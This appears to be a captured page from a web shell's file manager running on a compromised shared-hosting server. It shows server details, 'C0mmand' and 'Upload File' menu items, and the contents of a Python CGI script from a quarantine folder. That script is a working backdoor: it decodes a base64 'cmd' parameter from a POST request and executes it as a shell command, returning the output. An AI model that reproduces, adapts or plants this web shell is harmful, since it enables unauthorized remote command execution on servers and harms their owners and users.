Server IP : 111.118.215.189 / Your IP : 216.73.216.185 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home1/a1673wkz/.quarantine/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/usr/bin/python try: import cgitb; cgitb.enable() except: pass import os,cgi,base64 form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'}) cmd = form.getvalue('cmd') check = form.getvalue('check') print "Content-type:text/html\r\n\r\n" if cmd: print base64.b64decode(check)+"<pre>" child_stdin, child_stdout = os.popen2(base64.b64decode(cmd)) child_stdin.close() result = child_stdout.read() child_stdout.close() print result.strip() print "</pre>"